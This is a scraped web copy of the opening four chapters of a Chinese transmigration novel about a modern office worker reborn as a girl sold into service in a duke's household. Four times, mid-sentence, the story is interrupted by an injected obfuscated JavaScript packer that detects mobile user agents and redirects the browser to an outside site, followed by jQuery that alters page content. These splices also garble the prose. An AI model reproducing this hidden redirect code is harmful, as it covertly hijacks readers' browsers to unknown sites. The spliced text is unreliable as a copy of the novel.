《丫鬟她是全能ACE》 1. 第一章 风雪中的异客 天蒙蒙亮，一处僻静院落里响起了婆子的喊叫声。 “都起来！快起来！”一个满脸横肉、一脸凶相的妇人从外面推门而入。正是冬日里，外头天寒地冻的，随着门被推开，一股刺骨的冷气钻了进来。那妇人双手叉腰，扯着嗓子如同破锣在响，直把屋内的人都惊醒。 千雪是被那破锣嗓子硬生生从昏沉冻僵的状态里拽醒的。 一股不属于她的记忆碎片涌入脑海：寒冷，饥饿，颠簸的板车，还有这个妇人——人牙子高婶子，那毫不掩饰的如同看着待价而沽牲口般的眼神。 “真地狱开局……”她脑子里条件反射地蹦出个词，每一个细胞都在被冻僵的痛楚和濒死的记忆中尖叫。 没错。 她，千雪，二十一世纪卷生卷死的社畜一枚，穿越了。 地点：疑似古代。 身份：人牙子高婶子名下待售资产——排名垫底的那种。 房间不大，一南一北都是大通铺，别看房间不大，足足睡了二三十个小姑娘，小的有六七岁，大的十五六，不消片刻都掀了被褥穿戴整齐，站了满满一屋子。 手脚慢的地上不够站，便老老实实跪在床铺上，低眉顺眼不敢造次，打眼望去，一个个乖觉得很。千雪就是那个手脚不麻利的，此时正半跪在床上的其中之一。 “带你们来京都也有些时日了，今个都打起十二分的精神，午时我带你们去各个主家里，到时候可就看你们的造化了。”高婶子扫过挤挤挨挨的女孩们，继续训话， “我丑话可说在前头，我虽是怜惜你们不做那等有辱姑娘家清白的事，但是老娘可是花了银子的不能砸手里，今个一过你们要没被选上，不怪我将你们转手，那是福是祸就看你们自己的了，可怨不得我。” 千雪竖着耳朵听，内心自动翻译：‘甲方爸爸们的联合面试大会？选不上就‘优化裁员’转卖……甚至可能流向‘特殊服务行业’。 这不就是黑心老板的成本控制+风险转移’。 高婶子训完话就随意点了两个年龄大些的女子随她一道离开，那两个女子回来时手里端着一锅粥，这群衣着破烂的姑娘如同恶狼扑食般涌了过去。 千雪的胃饿得绞成一团，全身却冷得没有一丝力气。但她知道，不吃东西就是等死。 保存体力是活下去的前提！ 她咬咬牙，也挣扎着挤进人群，利用成年人的技巧和微弱的力气，好歹抢到了一捧温温的糊糊，也不管脏不脏，狼吞虎咽地喝下肚。一股微弱的暖流散开，勉强唤醒了点生气。 高婶子说的是午时带她们出去，离午时还早着呢，二三十个小姑娘挤在一间屋子里，都你一堆我一堆说着话。话题无非是害怕，担忧去处，或是感叹命运。 千雪关于原主的记忆就是普普通通的庄稼人，勤勤恳恳种地，任劳任怨干活，十五年前天下刚定，如今各地仍然偶有战事，多的是活不下去的人家，吃不饱饭就要想办法，那个农家不是儿女成群，想来想去卖儿卖女便也是一条活路。 这具身体的原主就是其中之一，路上受了寒气，高烧不退，高婶子是不可能给找大夫的，任其自生自灭，原主没熬过去，便一命呜呼了。 原主这不就是个标准的炮灰配置：穷苦农家女，天灾人祸活不下去被卖，路上冻病，高婶子没给治，于是原主噶了，便宜了她这个倒霉蛋。 千雪默默为这可怜姑娘哀悼了三秒。她自己的目标无比清晰：‘苟住！在大户人家签一份稳定的基础劳务合同当丫鬟，积累工作经验积极干活，努力存够买断合同的补偿金赎身银子，然后创业——当个有田有地的自由职业者小地主！ 时间过得很快，午时一到，高婶子便同另外两个婆子一道带着她们出门，门外停了两辆驴车， 高婶子先训话，“今日咱们去的两个都是打着灯笼也不好找的主家，你们都仔细着。” 高婶子开始点人上马车，千雪注意到，高婶子点的都是长相端正白静，起码不丑，年纪在十一二岁，看起来机灵的姑娘。 她穿来这两天也弄明白了，这年纪才是“市场”上最受欢迎的“产品”——潜力大、好调教。而她这副身子过了十二月刚满十四，年纪已经超标。 千雪跟着剩下的人一起上了第二辆驴车，她们这个车里，除了年纪偏大的就是年纪偏小的。 驴车缓缓而动，车轮压在雪地上留下两道痕迹，昨日下了好大的雪，整个都城如同埋在雪里一般。车内挡风并不好，风裹着冷气直朝里面钻，几人两两三三抱在一起取暖。 千雪还听到旁边那女孩抽泣的声音，因着她哭，另外一个也没忍住，低声落泪：“姐姐……我怕……我不想被卖到那种地方……”声音充满绝望。 千雪心里也沉甸甸的，承欢父母膝下的年纪遭此磨难，怎能不惧？她深吸一口冰冷的空气，握住女孩冻僵的手，柔声安慰道：“别怕，天无绝人之路。待会儿我们进去，不要表现的畏手畏脚的，别左顾右看，问什么答什么，大家都会有好去处的。” 许是千雪年纪比较大，像是个可以被依靠的大姐姐，又或者那句“天无绝人之路”给了她们些许希望，那两人止住眼泪不再哭泣。 女孩们泪眼朦胧地看着她，觉得她懂得真多。有女孩怯生生地问：“姐姐，你识字吗？你说话……真好听。” 千雪一愣，她含糊道：“听……听别人说的。” 但她的眼睛却倏地亮了一下。 识字！在这个遍地文盲的时代，这绝对是硬核技能！ 常识！后世庞杂的知识碎片，也许……大概……能发挥点作用？ 不就是重新打工吗？她能卷一次，就能卷第二次！ “安平郡王府有限公司”，到了。 驴车缓缓停下，高婶子带着第一辆车的女孩们下车，不远处站着一个不苟言笑的婆子，身后跟着两个年轻姑娘，那两个姑娘穿着不俗，还带着手暖。 “那是主子家的小姐吗？”千雪这辆车的人没下去，有好奇的便扒在缝上朝外看。“应该是吧，你看她们穿的多好看。” 高婶子带着殷勤的笑同那婆子见礼，高婶子生的高大，那婆子偏矮，愣是低头哈腰到和那婆子差不多高。高婶子同那人说了两句话，便带着第一辆车的丫头们进去了。 进去约莫半个时辰就出来了，原本跟着进去的有十几人，出来时只剩下五六个。“‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908415|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安平集团’录用率也不高啊……行情这么差？”千雪心里更沉。 驴车再次缓缓而动，这一次感觉走了许久，冷风像无数小针扎进骨头缝里。直感觉自己快要冻成冰棍，马车才缓缓停在了一处更加高大院墙的后门。 成国公府有限公司，到了。 这次车上的人都下来了，排成两队跟在高婶子后面，从后门进入。千雪低着头，眼神先前还偷偷乱瞄，发现瞄不出个所以然来，就老老实实的跟着队伍走着。 没有多久跨过一处月洞门，往前又走了一会停在一垂花门前，垂花门前立着一妇女，穿着打扮比先前后门引路的那婆子要好很多，人看着颇为威严。 “把手都伸出来，抬起头来。”那妇人说罢，声音不高却极具穿透力。 有的丫头乖乖伸手，抬头，有的则先四下看看旁边的人见有人伸了也跟着照做，更有甚者完全吓懵，头都抬不全。 那妇人面色如常，对旁边候着的两个婆子说道：“下去看看，指甲脏污的不要，手细皮嫩肉的不要，太丑的不要，太美的也不要，刚才眼神乱瞟没有规矩的不要，怯弱不敢抬头的不要，可看仔细点。” 两个婆子立刻上前，眼神锐利，开始仔细打量起来。 高婶子在一旁看得干着急。 千雪在其中一个婆子走到面前时，深吸一口气，压下内心的慌乱。她尽全力让自己显得平静，伸出因寒冷而微红但干净、指尖带着薄茧的手。 然后迅速地、不卑不亢地抬眼，目光虚落在对方肩膀上一点的位置，标准的职场礼仪眼神，避免冒犯又展现镇定。 一番筛选，最终合格的竟然只有四个！千雪凭借那份刻意展现的“沉稳”和双手的薄茧，惊险过关。 “高婶子是看不上我成国公府吗？竟送些歪瓜裂枣过来，听下面人说是先去的安平郡王府，早知道便同你换个日子了，省的耽误了你的事。” 高婶子脸上堆起笑，对着那妇人道：“我的好姐姐，您看，我带了两车人来，一车给您，一车给郡王府，给您的决计不会比郡王府的差，您这可是冤枉我了。”话里话外透着讨好。 妇人一声冷笑，气场更冷：“呵，先去安平郡王府，剩下的才拉到我这儿？高婶子，你这生意安排的‘主次’，很明白嘛。”那眼风扫过高婶子，带着毫不掩饰的不满。 高婶子心里骂娘，脸上却不得不继续告饶，姿态卑微到尘土里：“哎吆我的好姐姐！您这可是天大的误会！冤枉死我了！这样，除了这四个，您再挑一个得用的，算我孝敬您的，给您打打下手，调教新人也顺手些！” 那妇人见火候差不多了，才微微松口：“罢了，也不难为你了，就那四个留下吧。崔婆子剩下的交给你了。”被叫崔婆子的便是刚才检查众人的那两个人中的一个，她付了银子给高婶子。 高婶子千恩万谢，还想塞碎银子给崔婆子，被崔婆子冷着脸直接拒绝了。 千雪这个新人跟着崔婆子踏入了垂花门深处，身后是还在点头哈腰的高婶子，心中那个关于“赎身金”的“终极离职KPI”前所未有的清晰起来。国公府，这座看似华丽的“新公司”，她的“社畜生存副本”，正式开启…… 2. 第二章 讨好小领导 她跟着另外三个新买的丫头，踩在冻得发硬的雪地上，深一脚浅一脚地往住处走。崔婆子的话像刺，扎得人脸上火辣辣，却也带点劫后余生的暗喜：好歹进了国公府的门，比落在那“转手”的不测里强上许多。 一个圆润白净的年轻丫鬟等在廊下，脸上带笑，眼睛弯成了月牙，正是珍珠。崔婆子把人交过去，话干脆利落：“这几人交给你了，紧着点教规矩。” “放心吧崔妈妈。”珍珠声音也透着股子甜脆劲儿，目光在四人身上溜了一圈，笑容不变。“新来的，先跟我走。” 她没带人去安顿，径直引到了西院角落一处小杂院。里头热气蒸腾，灶上两口大铁锅正“咕嘟咕嘟”滚着沸水。珍珠下巴一扬：“自个儿烧水，把自个儿洗干净！尤其是头发，里头的虱子跳蚤，一个也不能带进府里。搓三遍，水得清亮！什么时候我瞧着水不黑了才算完。” 冷水烧热，再兑凉调温，一桶桶提进旁边临时收拾出来的小隔间。没有澡盆，只有几个破旧的木桶和粗糙的胰子。冬日里洗澡不是享受，冻得人牙齿打颤，四个女孩挤在一起互相搓背，热水浇上去，搓掉一层层黑垢，冷水一浇，又激起一身鸡皮疙瘩。皮肤搓洗到泛红发痛才停下。 “行了，”珍珠不知何时倚在门框上，看着最后一桶倒掉的水，颜色勉强算是灰白，“换衣服，你们原先带来的那些破烂，烧了干净。” 塞了棉花的粗布袄子和两件薄棉衬里递到手里，粗糙但厚重保暖。千雪只觉得身上每一根骨头缝里都透出松懈的疲惫，又被这点实实在在的暖意压下去几分。 还不错，工装get！ 珍珠领着她们穿过几道回廊，在一排低矮的青砖房前停下，推开了尽头一间。“往后你们四个就住这儿。南边那铺已经住了两人，你们分北边。”她没多说，“里头空着，自个儿拾掇拾掇。离晚饭还有点工夫，歪会儿吧，记得到时辰去饭堂。我先回了。” 门一关，屋内气氛陡然松弛。一间房，南北两铺大炕，北铺刚空出来。抢位置几乎是瞬间的事。 千雪动作最快，眼皮一掀就扫见北铺靠墙那位置——冬天避风，夏天凉快，最要紧的是靠着墙根更隐蔽些。她几乎是蹿过去的，利落地往炕沿一坐。 完美工位get！安全、私密、干扰少！ 王春花、梅子、顺心也迅速跟上。王春花稍慢一步，目光扫过——最好那个靠墙角窝被千雪占了，另一个靠墙的边角被顺心占了。梅子人壮，选了个中间位置，倒像根定海神针。王春花细长的眼睛不满地剜了一眼千雪那挺得笔直的脊背和她身上那股子“生人勿近”的气场，目标立刻转向旁边最怯生生、年纪最小的顺心。 “喂！”王春花的声音拔得尖利，手指直戳顺心，“你！睡里面去！这地方归我了！” 顺心浑身一抖，像只受惊的兔子，抬头看看王春花那张不善的脸，再求救似的看向千雪和梅子。千雪眼皮都没抬，仿佛在专心研究自己那份破铺盖。梅子也闷着头，自顾自收拾。 千雪扯了扯炕上铺着的薄被，灰扑扑的，好歹干燥。初来乍到，谁也不熟。王春花那点霸道写在脸上，顺心的懦弱也一目了然。管闲事？ 别看我，职场法则第一条：事不关己高高挂起，尤其对付这种欺软怕硬的货色。 她没那份多余的心力。能顾好自己，在这国公府里喘下这口气，已是万幸。她拢紧棉袄，侧身面向墙壁，闭目假寐。 顺心嘴唇动了动，终究没敢吭声，低低“嗯”了一下，抱着自己那点可怜家当，认命地挪到里面的位置去了。王春花得意地扬了扬下巴，如获至宝地占据了顺心原本那块相对宽敞、又靠墙的位置。 啧啧，新人期就暴露獠牙抢软柿子的地盘？这生存策略……真是有够短视。 其他三人也很快窸窸窣窣躺下，屋子里只剩下沉重的呼吸声。连着几日的颠簸、惊吓、寒冷，加上刚才一通狠搓狠洗，骨子里的疲惫像潮水般涌上来，没人说话，气氛粘稠得如同凝固了一般。 然而，千雪的大脑却在飞速运转。睡？这当口躺下是松快了，可在这深宅大院，机会是抢出来的，安稳是搏出来的。刚来就躺平，等着被别人踩到泥里去么？卷，必须得卷！但得悄无声息地卷。 她估算着时间，听旁边呼吸声渐渐变得沉长平稳，夹杂着细微的鼾声。王春花睡熟了，顺心和梅子也悄无声息。千雪这才慢慢睁开眼，眼神清亮，哪有半分睡意？她轻手轻脚地掀开被子，套上那双厚实的棉鞋——这也是新发的，鞋底比草鞋硬实多了。一点声响也无地推开门，溜了出去。 院子里的雪被踩实了，光秃秃的树枝在灰白的天空下伸展，寒意依旧刺骨。她四下张望，看见廊下靠着一把用秃了的竹扫帚，便走了过去。拿起来，也不看地干不干净，就在自己住处门前的空地上，慢悠悠地挥动起来。 动作懒洋洋的，地上的浮雪被她故意扫得东一撮西一撮。磨洋工是真，等机会也是真。她那对耳朵时刻捕捉着院门口的动静。 约莫过了一炷香时间，熟悉的脚步声响起。珍珠拎着一个小布包，裹紧了身上的棉袄正要回房。一进院门，就看见新来的那个叫千雪的丫头，正笨拙地挥着扫帚。 “哟，”珍珠脸上浮起一点真实的惊讶，“你这丫头，大冷天的，倒是勤快。怎么不多歇会儿？” 千雪立刻停手，转过身，脸上恰到好处地露出一丝羞涩和“被抓包”的不安，忙把扫帚靠墙放好：“回珍珠姐姐，刚躺下又想起浑身是劲儿，不敢偷懒……看院子里有点脏，就想扫扫干净。”说话间，目光飞快地扫过珍珠要走向的房间——就在院角另一头。 她顿了顿，脸上堆起讨好的笑，声音压低了点：“姐姐刚回来辛苦了，您住哪间呀？这扫帚……我拿进去给您靠墙？”试探着问。 珍珠扬了扬下巴，下巴正指向千雪看的那间房：“喏，那间。”显然是默许了。 千雪心领神会，立刻上前两步，殷勤地替珍珠推开房门。门一开，暖意裹着淡淡的香气扑面而来。里面是通铺格局，但瞧着只铺了两三副铺盖，明显宽敞许多，被褥料子也更好些。靠墙有个小小的木柜子，上头还搁着个缺口的描花瓷瓶。虽是下人房，但跟她们八人挤的大通铺比，简直一个天上一个地下。 “姐姐这屋子瞧着真亮堂。”千雪状似无意地赞了一句，便手脚麻利地拿起门边的鸡毛掸子，也不等珍珠吩咐，就开始掸桌椅柜面上的浮尘。动作干净利索，绝不四处乱摸乱看，显出几分利落劲儿。 珍珠解下围脖，把那小布包放在自己铺位上，回头瞧了一眼，没出声阻止。她倒了杯热水捧着暖手，看千雪忙而不乱地拂拭着灰尘，还把有些歪斜的小物件扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908416|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正，动作透着股子熟练劲儿。这丫头，看着比那几个伶俐些。 “你倒是挺利索，”珍珠随口道，“乡下哪个地方来的？能进咱们成国公府，也算你们命里有几分运道了。” 千雪心头一喜，面上依旧恭敬：“回姐姐话，老家在青州府下面的穷村。家里遭了灾，实在活不下去了，爹娘才……”她语带凄凉地停顿了一下，转而带出感激，“如今能托庇在国公府里，有口安稳饭吃，有暖和地方睡，就是老天爷赏饭了。” “青州……”珍珠抿了口热水，若有所思地点点头，“是不近。咱们府上是勋贵之家，规矩虽多，但也自有体面。” 接下来，珍珠的话便带了点指点提点的意味，她大概觉得眼前这个有点眼力见又显得老实本分的新人值得多说两句，好让她安分守己，少惹麻烦。 “府里主子统共就这些位：最尊贵的老夫人、国公爷、夫人。再往下，大小姐早几年入了宫，如今是贵人主子了；府里有三位小姐待字闺中，二小姐，三小姐，四小姐，五小姐六小姐还小；大少爷在军前效力，等闲不回来；二少爷在国子监读圣贤书，更是难得回府一趟；还有个小三爷，才七八岁，住在外院由先生们管着。其他……就是几房姨娘了。” 千雪仔细听着，手下动作不停，偶尔点点头以示明白。信息简明扼要，排除了她们日常可能接触不到的小姐少爷们，重点是点出了府里的层级脉络——老夫人、国公夫妇、几位小姐是内院的核心。 珍珠话锋一转，声音压低了些，更像是在点拨：“咱们府上，做事的除了外头采买的，还有不少家生子，几辈子都在这府里过活，根深脉广，关系都是盘根错节的。你们这样的，底子倒干净。” 千雪手下微顿，旋即恢复正常力道。这话里的机锋她听懂了：家生子势力大，但也可能因盘根错节难上位；外来采买的虽无根基，却也意味着少了掣肘。珍珠这是在变相告诉她，别妄自菲薄，想往上爬并非全无缝隙。这“干净”二字，是提醒，也像是一丝微弱的鼓励。 清扫干净，珍珠那小布包里的东西露了面，是一包还温乎的炒瓜子。她看着千雪手脚利落地干完活，顺嘴道：“好了，弄得挺像样。喏，拿着。”她捏了一小把瓜子，塞到千雪微凉的手心。“快回去歇着吧，等会我去叫你们吃饭。” 千雪忙不迭小心地收好那珍贵的一小把瓜子，贴身放进棉袄内袋里，口中连声道谢：“谢谢珍珠姐姐！”这赏赐分量虽轻，却是个好的开始，意味着她这“勤快”入了眼。 她快步回到住处，推开门。屋里另外三人已经醒了，正各自坐在铺上发呆或整理那点可怜的行头。门一响，三双眼睛齐刷刷看向她。王春花的眼神里带着明显的诧异和一点不易察觉的审视；顺心是茫然；敦实的梅子则有些好奇。 “千雪？你怎么……”王春花没忍住，脱口而出，后面的话在嗓子眼打了个转——怎么是你回来叫我们？刚才干什么去了？满腹狐疑全写在了脸上。 千雪无视她探究的目光，只作平常：“珍珠姐姐说歇好了，叫我们准备下去饭堂呢。大家动身吧？”语气自然，仿佛刚才出去“活动筋骨”只是寻常小事一桩。她率先走到门口，准备引路。那刚得的一小把瓜子隔着棉布贴在胸口，还带着点暖意，像一枚小小的、带着甜头的筹码，落在了这国公府生存棋盘的第一格上。 3. 第三章 春花找事 风雪割脸，国公府大得像迷宫。珍珠领头走得飞快，千雪沉默跟在后面，眼睛却没闲着——井口旁的海棠树、挂着冰溜的小角门，她死死记在心里。在这儿，不认识路寸步难行！ 王春花在后头恨得牙痒痒，想揪住千雪问个明白，可碍于珍珠在，几次张嘴又硬憋了回去，眼珠子黏在千雪背上恨不得戳出两个洞。梅子闷头赶路，顺心则像小尾巴一样紧贴着千雪。 饭堂门口内侧放着一张长桌，一个略胖的婆子站在桌后负责打饭。珍珠走过去，脸上带了些许熟稔的笑意：“王妈妈，辛苦您了。” 王妈妈那张圆胖的脸看着倒是憨厚可掬，见是珍珠，也挤出笑容：“珍珠姑娘来了，还带了新人啊。”态度显然比对其他粗使下人要热络几分。 千雪站在后面默默观察。 她很快发现，王妈妈那把大勺子玩得是炉火纯青，绝非表面看起来那么“一视同仁”。给相熟的、或者有点头脸的婆子，那勺子就会沉甸甸地往下多走几分；给生面孔或者看着老实巴交的，则蜻蜓点水地一舀，清汤寡水，标准的“食堂阿姨式厚此薄彼”。 轮到千雪她们四个了。 王妈妈公事公办地在每人豁了口的粗陶碗里倒了“分量精准”的稀粥，粥汤稀薄得能当镜子照。然后又各给了一小勺颜色黯淡的咸菜疙瘩丝盖在上面，除此之外，再无别物。空气里飘荡的那点食物油荤气息，跟她们这碗“工作餐”毫不相干。 轮到珍珠时，画风突变。粥明显稠了不少，甚至能看到实实在在的米粒，此外还额外给了一小碟拌了猪油渣的青菜，外加——几片薄薄的、油亮诱人的肥肉片！ 千雪端着那碗能照见愁容的稀粥，啥反应也没有，仿佛早已习惯，决定坦然接受资源分配的天然不平等，抱怨毫无卵用。 梅子人高马大，本来就饿得快，看着自己手里这碗“水货”，又瞥见珍珠碗里的“干货”和肉片，眼神里明显透出不够吃的焦虑。但新人入职第一天，她不敢吭声，只敢暗自咽了下口水。 顺心更是像个受惊的小鹌鹑，端着碗就亦步亦趋地贴在千雪身后，仿佛这样才有安全感。 王春花看着自己碗里同样稀薄的粥和珍珠碗里的肉，嘴角撇成了个“八”字，脸上写满了不爽，嘴里不干不净地小声嘟囔了句什么，但她也清楚这里不是撒泼的地儿，她最终也没当场发作，选择了忍气吞声。 千雪几人来得晚，等她们找地方坐下开始吃饭时，饭堂里人已经走得七七八八，显得有些冷清。稀粥和咸菜丝下肚，聊胜于无，那点微薄的热量勉强安抚了下饥肠辘辘的胃，但离“饱腹”还有老大一截距离。 稀里糊涂灌下肚，饭堂里已空了大半。回住处休息的路上，寒风卷过空旷的庭院，吹得人愈发瑟缩。 憋了一路的王春花终于找到了发泄的突破口。她快走两步追上千雪，语气冲得很：“喂，千雪！刚才午歇，珍珠姐明明让我们都休息，就你一个人偷偷摸摸溜出去了！你去哪了？干啥去了？”她那双吊梢眼紧紧盯着千雪。 千雪脚步没停，只当她不存在。王春花这种人，越是理会她，她就越来劲。 王春花见她不答，更觉得自己抓住了什么把柄，越发不依不饶：“跟你说话呢！哑巴了？偷偷摸摸的，不会是去干什么见不得人的勾当吧？怎么，刚进来就想巴结谁？” 千雪被她聒噪得心烦，猛地停下脚步，转过身，平静的直视王春花，她的眼神既不闪躲，也不带怒火，只是透着一种“你脑子还好吗？”的冷淡。 “王春花，”千雪的声音不高，“我去哪了，做了什么，没理由向你汇报吧？你是府里管事的主子，还是管我们的珍珠姐姐？轮到你来盘问审查。” 最后那句“府里的主子”像根针，精准地刺破了王春花那点浅薄的嚣张气焰。她脸瞬间涨红，手指着千雪“你…你…”了半天，却说不出完整反驳。 王春花见说不过千雪，气得一跺脚，转头就把矛头转向旁边默不作声的梅子和顺心。她试图搞小团体，声音故意扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908417|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来，带着煽动：“梅子！顺心！你们瞧瞧！我们是一起进来的吧？她倒好，背着我们不知道干啥去了！这种藏着掖着的，心机深沉，指不定背地里使什么坏呢！你们俩可得小心点，别让人卖了还帮人数钱！” 梅子眉头微皱，粗声粗气地回了句：“管好你自己吧。”说完加快脚步往前走，根本不愿意掺和。她才不在乎别人去哪，她只在乎下顿饭能不能多吃一口，而且这王春花看着就像个刺头子。 顺心更是头低得快要埋进胸口，小手捏着衣角，一声不吭，小步紧跟着千雪，用实际行动表明了态度。 王春花的挑拨离间直接撞了堵无形的墙，没人应和她。空气瞬间安静下来，只有寒风在耳边呜咽。她一个人尬在那里，脸上一阵红一阵白，最后只能重重地“哼！”了一声，把碗抱得更紧，大步走到最前面去了。 四人刚踏进住处窄仄的房门，就撞见珍珠立在廊下。 珍珠见她们进来，视线扫过四人，目光在王春花那张明显还带着怒气的脸上一顿，略感诧异，但也没多问。她正了正神色，朗声说道： “都听着，与你们同住的这两位是大厨房帮工，柳叶，荷香，正好带带你们。明儿府里宴客，各处都缺人手。你们四个，明儿一早就去大厨房报道，帮着摘菜、洗刷、打下手。活儿多着呢，别指望偷懒。” 她指了指那两个看起来颇为精明的老丫鬟：“规矩不用现教，明天一边干活一边学，做什么听指挥就是。记住了，手脚麻利点，眼睛里有活儿，嘴巴闭紧点。主子家的大事，办砸了咱们谁都担待不起！” 珍珠说完，朝千雪她们点点头，转身便出去了。 王春花那点因被忽视而产生的憋屈火气，瞬间被这突如其来的消息冲散了。厨房帮工？王府宴客？她脑子里还在嗡嗡回荡着“摘菜”“洗刷”这几个词，一时间竟忘了继续纠缠千雪下午的去向。 千雪脸上依旧没什么表情，只有眼底深处一片沉静。大厨房帮忙？累死人的活计跑不了。 4. 第四章 大厨房打杂 珍珠的脚步声刚一消失在门外走廊的尽头，王春花脸上那股憋闷劲儿就像潮水一样退了个干净，立刻换上了一种过分热络的笑模样，转向屋里正整理铺盖的柳叶和荷香。 “柳叶姐姐！荷香姐姐！”她亲亲热热地叫着，声音像裹了一层蜜，“珍珠姐姐说得对，往后可全靠两位姐姐照应提点了！我们几个初来乍到，什么都不懂，明儿去大厨房，有什么粗活累活姐姐们只管吩咐，我们手脚笨了些，但保证尽心尽力！” 柳叶性子安静，被她这突如其来的热情弄得有些局促，只腼腆地笑着点了点头，继续手里的动作没多说话。 倒是快人快语的荷香，闻言立刻眉开眼笑，拉着王春花的手：“哎呀妹妹们太客气了！往后就是一个屋里住的姐妹，互相照应是应当的。”她熟络地开始讲起来：“明儿去大厨房帮忙啊，别慌！府里头三天两头就摆宴席，以后你们就习惯了。要紧的是手脚麻利点，少说多看，管事嬷嬷让干什么就利索点去干，保管没事儿！” 有了这话匣子荷香在，后半夜倒也没闲着。她絮絮叨叨说了不少府里的日常和去大厨房要注意的细节，无非是多干活少说话，看眼色行事之类。 王春花听得认真，时不时奉承两句。梅子靠着墙根，听着听着眼皮就开始打架。千雪抱着腿静静听着，把关键处记在心里。顺心则竖着小耳朵，努力消化着每一句话。 这一夜还算安稳。 天将蒙蒙亮，窗纸透出一点青灰色，柳叶和荷香已经利落地起身了。 荷香一边飞快地套着外衣，一边压低声音催促着新来的四人：“快着点快着点！今儿有正事，麻利些！咱们这就去大厨房，早饭也在那儿吃！赶早去，吃得饱！”声音里带着几分对“管饱”的笃定。 一听能吃饱，谁也没敢磨蹭。 四人几乎是囫囵着把衣服裹上身，脸都只匆匆抹了一把，头发胡乱一挽，就跟着柳叶和荷香一头扎进了冰冷的晨雾里。 天色昏暗，路径全靠两位老资格的引路。 刚踏入大厨房的院子，一股混合着蒸腾热气、食物香气和喧嚣人声的浪潮就扑面而来。天还未大亮，但这里早已灯火通明，人影幢幢，巨大的蒸笼“噗噗”冒着浓郁的白烟。 粥香、面食的甜香、炒菜的油香霸道地占据了鼻腔。 “来来来，自己拿碗！”荷香熟稔地帮她们拿了几个厚实的粗陶海碗，引着挤到了粥桶和大蒸笼前。 果真是“管饱”！稠得能立筷子的白米粥冒着热泡；旁边篦子上是胖乎乎、松软发亮的大白馒头；还有一盘笼刚揭盖的猪肉大葱包子，皮薄馅足，油汪汪的香气直往人鼻子里钻；外加一盆清炒刚下来的脆嫩小青菜。 四人眼睛都是一亮。王春花也顾不得拿乔了，拿碗舀了满满一碗稠粥，迫不及待抓起两个肉包子就塞。千雪也利索地拿了粥，肉包子和菜。 梅子，此刻真正展现了她彪悍的存在感。 只见她手里捧着一个堆得像小山似的粥碗，里面的粥浓稠得几乎要溢出来。 另一只粗壮有力的手，毫不犹豫地一把抓起了——三个硕大的肉包子！外加两个压实的白面馒头！然后，就在千雪、王春花等人惊愕的目光注视下，她开始埋头苦干。 那惊人的食量如同风卷残云，小山般的食物以肉眼可见的速度矮了下去，很快就被她消灭得一干二净。吃完后，她似乎还有些意犹未尽，眼睛不自觉地瞥向盛包子的笼屉。 千雪端着粥碗，拿着咬了一口的包子，看着这一幕，差点忘记了咀嚼，心中暗惊：这饭量！实打实的震撼！ 旁边的王春花刚咽下半个包子，正好捕捉到千雪的惊讶表情，再看看梅子那意犹未尽的模样，忍不住翻了个大大的白眼，压低了声音凑近千雪，撇着嘴小声嘀咕：“瞧见没？真是个饭桶！怪不得她被卖了，估计爹娘巴不得把她卖出来，照这个吃法，家里有座山也得让她吃空！”语气里充满了酸溜溜的嫌弃和一点点的幸灾乐祸。 饭罢，真正的忙碌开始了。整个大厨房如同沸腾的熔炉，人人脚下生风。 梅子这块巨大的“璞玉”终于显山露水。沉重的米袋？她弯下腰，吐气开声，“嘿”地一下稳稳扛上肩头，步子迈得又大又稳！装满蔬菜鱼肉的大木箱？她一样扛起来就走，哼哧哼哧，每一步都踏得地面微震！这份天生神力，很快便吸引了厨房管事的注意——那位头发梳得一丝不苟、眼神精明利索的赵妈妈。 赵妈妈正指挥着几个小厮搬运食材，看到梅子那举重若轻的架势，眼中闪过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908418|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝惊讶，随即是毫不掩饰的欣赏。她抬手一指后院方向：“那高个的丫头！好力气！别在这儿耽搁了，去库房那边，帮着一气儿把宴席要用的两筐瓜果和一袋糯米搬过来！要快！” 